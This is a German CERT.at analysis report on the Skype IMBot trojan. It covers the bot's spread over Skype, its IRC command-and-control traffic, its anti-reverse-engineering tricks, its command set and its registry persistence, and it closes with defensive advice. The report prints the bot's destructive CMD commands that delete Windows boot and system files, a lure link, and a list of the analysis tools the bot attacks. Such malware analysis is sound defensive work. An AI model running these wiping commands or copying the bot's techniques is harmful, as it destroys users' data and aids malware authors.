CERT.at Report

Analyse des Skype IMBot

Karlsplatz 1/2/9
A-1010 Wien
Tel: +43 1 505 64 16 / 78
Fax: +43 1 505 64 16 / 79
office@cert.at
www.cert.at

Release Date: 2010/02/25
Last Updated: 2010/04/14, version 1.4

Author: Christian Wojner, L. Aaron Kaplan
Email: {wojner,kaplan}@cert.at

Zielgruppe

Der vorliegende Bericht ist eine Zusammenfassung des (englischen) Berichts von CERT.at über den Skype IMBot. Diese Version kann öffentlich weiterverbreitet werden. Die englische Variante dieses Berichts enthält noch weitergehende Informationen und Analysen.

Zusammenfassung

Dank der fortschreitenden Vernetzung bedrohen Viren, Trojaner, Würmer und andere Schadsoftware ("Malware") vermehrt das Internet, Unternehmens- und Regierungsnetze als auch den privaten Bereich und nicht zuletzt den Bereich der kritischen Infrastrukturen. Der vorliegende Bericht dokumentiert einen bestimmten Trojaner ("Skype Instant Messenger Bot"), der sich, wie viele anderen ähnliche Trojaner, über Instant Messenger Netzwerke (Skype, ICQ, AIM, MSN Messenger) verbreitet. Während Instant Messenger Netzwerke als Verbreitungsmechanismus für Trojaner nicht gänzlich neu sind, hoffen wir doch, dass die detaillierte Analyse des Skype IMBots Einsichten in die Funktionsweise als auch potentielle Abwehrstrategien liefert.

CERT.at hat den Skype IMBot weitgehend reverse engineered (Assembler Code analysiert) und ist auf einige interessante Aspekte gestoßen, die in diesem Bericht analysiert werden.
Der Bericht schließt mit allgemeinen Überlegungen, wie sich Instant Messenger Bots weiterentwickeln werden.

Die ausführliche, englische Version dieses Berichtes ist unter
`http://cert.at/downloads/papers/skype_imbot.html` abrufbar.

Einführung

Malware, die sich über Instant Messenger Netze verbreitet ist an sich nichts Neues. Wer ICQ verwendet, kennt das Phänomen: ein Unbekannter sendet eine Nachricht mit einer URL, die angeklickt werden soll. Dort liegt dann Malware die den eigenen Rechner infizieren kann.
Bis vor kurzem ist Skype dieses Schicksal erspart geblieben. Aber am 10. Februar 2010 erhielt einer der Autoren folgende Nachricht von einer Bekannten (die in Skype vorher autorisiert wurde!):

> I just got a new dog, but the monster destroyed the living room! Look at the mess :(http://share.nphotobucket.info:84/uploads/sk92kd0/MVC-PartyPic016.JPEG.zip
>
> [2/10/10 4:17:00 PM]: I went to a party last weekend and someone took a picture of me... It looks terrible! http://share.nphotobucket.info:84/uploads/sk92kd0/MVC-PartyPic016.JPEG.zip

Filename	Type	MD5
MVC-PartyPic016.JPEG_www.nphotobucket.com	PE32 executable for MS Windows (GUI) Intel 80386 32-bit	MD5: 12fdc621317f186f327d2115330ad7bc
MVC-PartyPic016.JPEG.zip	Zip archive data, at least v2.0 to extract	MD5: 4fc05ac3938637c52c6e06d7ad57db87

Virustotal.com[1] hat die Malware zu dem Zeitpunkt noch nicht erkannt (nur 3 von 41 Antivirus Paketen erkannte den Trojaner).
Ein Ausführen des Trojaners und ein Monitoren des Netzwerkverkehrs hat ergeben, dass sich die Malware zu einem IRC[2] Server (Command und Control Server, C&C) hin verbindet und von dort Befehle entgegennimmt:

```
PASS 3v1l$
:svX-08.jpl.nasa.gov
NICK N|USA|VN-2A|0|XP|127396982
USER SPX N|USA|VN-2A|0|XP|127396982 N|USA|VN-2A|0|XP|127396982
:VIC-OVMFFUG1VNR
:IRC!IRC@svX-08.jpl.nasa.gov PRIVMSG N|USA|VN-2A|0|XP|127396982 :.VERSION.
:svX-08.jpl.nasa.gov 001 N|USA|VN-2A|0|XP|127396982 :psyBNC2.3.2-7
:svX-08.jpl.nasa.gov 002 N|USA|VN-2A|0|XP|127396982 :Connected. Now
logging in...
:svX-08.jpl.nasa.gov 003 N|USA|VN-2A|0|XP|127396982 :User Anonymous
logged in.
:svX-08.jpl.nasa.gov 004 N|USA|VN-2A|0|XP|127396982 :Your IRC Client did
not support a password. Please type /QUOTE PASS your password to connect.
:svX-08.jpl.nasa.gov 005 N|USA|VN-2A|0|XP|127396982
:svX-08.jpl.nasa.gov 005 N|USA|VN-2A|0|XP|127396982
:svX-08.jpl.nasa.gov 005 N|USA|VN-2A|0|XP|127396982

:N|USA|VN-2A|0|XP|127396982 MODE N|USA|VN-2A|0|XP|127396982 :+i
JOIN ##ops s3x
:N|USA|VN-2A|0|XP|127396982!SPX@24.239.124.181 JOIN :##ops
:svX-08.jpl.nasa.gov 332 N|USA|VN-2A|0|XP|127396982 ##ops
:8FFC537E90070E46B7207D4E62;8FFC5370925E5056B52F334379D093BF87B19F37B71D27B7B54411AA5422321930
6287384ED05516992D068EA585C8A734008198776B101680EF328E56079EAF;8FC66A42B4652D05FB3D;8FC66A3188
5E0955EC6172522891C9FE89A79E31BA063DB6AE0947B2056B2B1B293AC763538B1057923E11CDECD89B;8FE548788
E0A5E06BA213C07;

:svX-08.jpl.nasa.gov 333 N|USA|VN-2A|0|XP|127396982 ##ops X 1265855442
```

[1] http://www.virustotal.com/analisis/145c5f91b4dd242f48cb09d70ad9709f91e827ed2b549dad09cf4c9eda36855a-1266410511

[2] IRC: Internet Relay Chat, siehe RFC 1459: http://irchelp.org/irchelp/rfc/rfc.html

```
JOIN ##load
:N|USA|VN-2A|0|XP|127396982!SPX@24.239.124.181 JOIN :##load
:svX-08.jpl.nasa.gov 332 N|USA|VN-2A|0|XP|127396982 ##load :
:svX-08.jpl.nasa.gov 333 N|USA|VN-2A|0|XP|127396982 ##load X 1265852815
PING :svX-08.jpl.nasa.gov
PONG :svX-08.jpl.nasa.gov
```

Nachfragen bei NASA hat ergeben, dass der Server "svX-08.jpl.nasa.gov" nie existierte. Vermutlich wurde dieser String vom C&C Server Programmierer einfach nur erfunden. Der eigentliche C&C Server stand in Deutschland.

Man beachte die verschlüsselten Befehle ("8FFC537E90070E46B7207D4E62") die der Server nach einem Verbindungsaufbau dem infizierten PC schickt. Da sich bis auf ein PING-PONG Keepalive Signal zwischen C&C Server und infiziertem PC kein weiterer Netzwerkverkehr abgespielt hat und wir nicht unmittelbar die verschlüsselten Befehle knacken wollten, wählten wir einen anderen Ansatz: das Reverse Engineeren des Assembler Codes des Skype IMBots.

Reverse Engineering

Unter Reverse Engineering („REing") verstehen wir hierbei die Analyse des Maschinencodes des Skype IMBots. Das ausführbare Programm wird mit einem Debugger / Disassembler betrachtet und man versucht, die Funktionalität zu verstehen. Es zeigte sich hierbei, dass die Malware sich erstaunlich gut gegen REing schützt und sogar den RE PC attackiert!
Die Malware hat zwei Threads[3]: einen „Killerthread" und einen Thread, der sich um die Kommunikation mit dem C&C Server kümmert. Der Killerthread überprüft periodisch, ob RE Software am PC läuft bzw. ob der Trojaner gerade analysiert wird. Falls ja, attackiert die Malware den RE PC.
Um somit die gesamte Malware analysieren zu können, musste wir mehrere Teile des Killerthreads auf Assemblerebene deaktivieren (NOP, etc)

Das Reverse Engineering ergab Folgendes:

- Die Malware ist initial verschlüsselt und entschlüsselt sich erst zur Laufzeit.
- Die Malware stoppt Antivirenprogramme und –Dienste
- Die Malware blockiert Updates von Microsoft und Antivirenherstellern mittels Windows Hosts Datei
- Sollte der Killerthread erkennen, dass die Malware reverse engineered wird oder dass Systemprogramme wie zB ProcessExplorer laufen, so macht er das System unbootbar und fährt das Betriebsystem herunter. Hierbei wird nicht nur die Prozessliste angesehen sondern auch die Windowtitles der aktuell offenen Programme. Es reicht also nicht, Reverse Engineering Programme umzubennen. Betroffen davon sind die folgenden Programme:

  ```
  TrendMicro_TISPro_16.1_1063_x32.EXE, AVZ.EXE, REGMON.EXE, TCPVIEW.EXE, REG.EXE,
  SUPERANTISPYWARE.EXE, BOOTSAFE.EXE, NETSTAT.EXE, OLLYDBG.EXE, MSNFIX.EXE, PROCEXP.EXE,
  TASKMAN.EXE, LORDPE.EXE, PROCESSMONITOR.EXE, SPYBOTSD.EXE, WIRESHARK.EXE, FIXBAGLE.EXE,
  CUREIT.EXE, PROCMON.EXE, PROJECTWHOISINSTALLER.EXE, REGALYZ.EXE, REGCOOL.EXE,
  REGISTRAR_LITE.EXE, REGSCANNER.EXE, REGSHOT.EXE, SYSANALYZER_SETUP.EXE, USBGUARD.EXE,
  AVZ.EXE...
  ```

- Um das System unbrauchbar zu machen, werden folgende Befehle ausgeführt.

```
CMD /C attrib -s -h "C:\ntldr"
CMD /C move "C:\ntldr" "C:\dump""
CMD /C del /F /S /Q "%WINDIR%\system32\hal.dll"
CMD /C del /F /S /Q "%WINDIR%\*.*"
CMD /C del /F /S /Q "%WINDIR%\system32\*.*"
CMD /C del /F /S /Q "%WINDIR%\*.exe"
CMD /C del /F /S /Q "%WINDIR%\system32\*.exe"
CMD /C del /F /S /Q "%WINDIR%\system32\*.sys"
CMD /C del /F /S /Q "%WINDIR%\system32\*.dll"
CMD /C del /F /S /Q "C:\ComboFix.txt"
CMD /C "shutdown -s"
```

[3] Thread: leichtgewichtiger paralleler Prozess. Siehe: http://de.wikipedia.org/wiki/Thread_(Informatik)

- Checksumme: Die Malware hat einen Checksummentest, mit dem sie zur Laufzeit periodisch überprüft, ob sie im Hauptspeicher modifiziert wurde. Sollte dies der Fall sein, erscheint eine Fehlermeldung:

- IsDebuggerPresent API call: Die Malware überprüft periodisch, ob ein Debugger läuft und attackiert das System, falls dies der Fall ist.
- Registry keys: die Malware deaktiviert die Windows SafeBoot Einstellungen in der Registry, damit das System nicht in einen definierten, sauberen Zustand gebootet werden kann. Weiters werden die folgenden Registry keys gesetzt, anhand derer man die Malware leicht erkennen kann:

```
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conime.exe: "conime.exe"
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution
Options\conime.exe\Debugger: "wmitxjr.exe"
```

- USB Infektion: die Malware erkennt USB Festplatten oder USB Sticks und kopiert sich eigenständig auf diese Medien
- LAN Scanning: die Malware scannt das lokale Netzwerk auf Port 445 (derselbe Port, der schon bei Conficker verwendet wurde) und versucht, Rechner auf diesem Port zu infizieren.
- Mutex: Skype IMBot hat eine globale Mutex names `mut3x.` Diese kann leicht verwendet werden, um auf das Vorhandensein der Malware zu scannen.

IRC Netzwerk Befehle

Durch Cracking des Skype IMbots waren wir in der Lage, den Skype IMBot selbst als Entschlüsselung für die (verschlüsselten) IRC Befehle des C&C Servers zu verwenden. Folgende Befehle versteht der Trojaner:

```
down_exec $URL          download und Ausführen einer Datei (URL)
down $URL               Datei nur downloaden
update                  Selbstupdate
start-scan              Beginne, das LAN zu scannen und zu attackieren.
stop-scan               stop LAN scannen
IM $URL                 Schicke den Text der in $URL steht an alle Kontakte aus dem
                        Skype Adressbuch.
IMSTOP                  stop IM spam
Visit $URL              Gehe auf $URL
open                    Verbindung zu Server aufmachen
join                    IRC channel beitreten
part                    IRC channel verlassen
```

IM spam

Sobald der Server den Trojanern / Skype IMBot clients den „IM“ Befehl schickt, suchen diese das Skype Fenster und schicken allen Kontakten den „Spam“ Text. Das Interessante hierbei ist, dass der Trojaner **User Keyboard Eingaben** simuliert. Das heißt, es ist für das eigentliche Skype Programm nicht oder nur sehr schwer möglich, zu erkennen, ob ein echter Benutzer den Text in das Skype Fenster geschrieben hat, oder ob ein Trojaner Skype „fernsteuert“.

Empfehlungen

Für Benutzer

- Klicken Sie **nicht** auf einen Link, der von einem Bekannten in Skype kommt, ohne sich zu vergewissern, dass der Link wirklich von dem Bekannten kam, **schon gar nicht, wenn ein witziges Video beworben wird**. Meist kann man durch einfaches Rückfragen erkennen, ob der Text von einem Trojaner oder von einem Menschen kam.
- Instant Messenger Netzwerke unterscheiden sich in dieser Hinsicht nicht viel von Email: in beiden Fällen müssen wir mit Spam rechnen.
- Verwenden Sie ein unpriviligiertes Benutzerkonto unter Windows XP. Administratorrechte sind zwar praktisch, aber meist nicht notwendig. Ein unpriviligierteres Benutzerkonto kann nicht so leicht ausgenutzt werden.
- Halten Sie Virenschutz und Firewall und installierte Softwarepakete immer auf dem letzten Stand.

Für Unternehmen

- Skype (und andere Instant Messenger wie AIM, ICQ, IRC, Yahoo! Messenger, GoogleTalk, Windows Live Messenger), sowie Social Networks (Facebook, XING, …) sind beliebt und auch in vielen Unternehmen verbreitet. Einige davon sind auch per Webbrowser erreichbar. Alle diese IM Netze per Firewall zu unterbinden ist nicht einfach, insbesondere Skype ist dafür bekannt, dass es durch viele Firewalls durchtunneln kann.
- Es ist daher technisch nur sehr schwer zu unterbinden, dass Mitarbeiter von Außen per IM oder Email „interessante Links“ geschickt bekommen und diese potentiell auch aufrufen und ausführen.
- Unter Umständen empfiehlt es sich, in sensiblen Bereichen Instant Messenger zu verbieten oder eigene Alternativen für den Unternehmens-internen Gebrauch anzubieten, wie z.B. Jabber.

Ausblick

Im klassischen Turing Test wird eine Testperson mit zwei Terminals konfrontiert: eines ist mit einem Rechner verbunden, ein anderes mit einem Menschen. Durch geschickte Fragen muss die Testperson feststellen, welcher der beiden Kommunikationspartner der Mensch und welcher der Rechner ist.
In unserem Fall ändert sich diese Situation leicht: da die Testperson annimmt, dass sie mit einem Menschen verbunden ist, geht sie gar nicht davon aus, nachfragen zu müssen. Die Situation verdreht sich somit und der Trojaner / das Programm / der Trojanerprogrammierer „testet“ die Testperson und versucht, sie zu überreden auf den Link zu klicken.

Wir sehen derzeit einen starken Trend in Richtung Social Engineering. Wie im Beispiel des Skype IMBots werden Benutzer überredet, diverse Aktionen auszuführen, z.B.:

- Installieren eines neuen „Root Zertifikates“: sysadmin@unternehmen sendet eine spam Mail mit einem attachment (Programm), das angeblich ein neues „root Zertifikat“ installiert
- Installation von „Conficker Cleaner“ Software (wieder per Spam beworben)
- etc.

Generell lässt sich sagen, dass je mehr Malware Autoren Geschäftspartner, Liebhaber, Freunde, Systemadministratoren, CERTs oder andere vertrauenswürdige Personen oder Organisationen imitieren, desto erfolgreicher werden sie sein. Wir glauben, dass Organisationen sich überlegen sollen, wie sie solchen Gefahren, die per Mail, Instant Messenger Netzwerken oder Webseiten auf Benutzer kommen, erfolgreich begegnen können.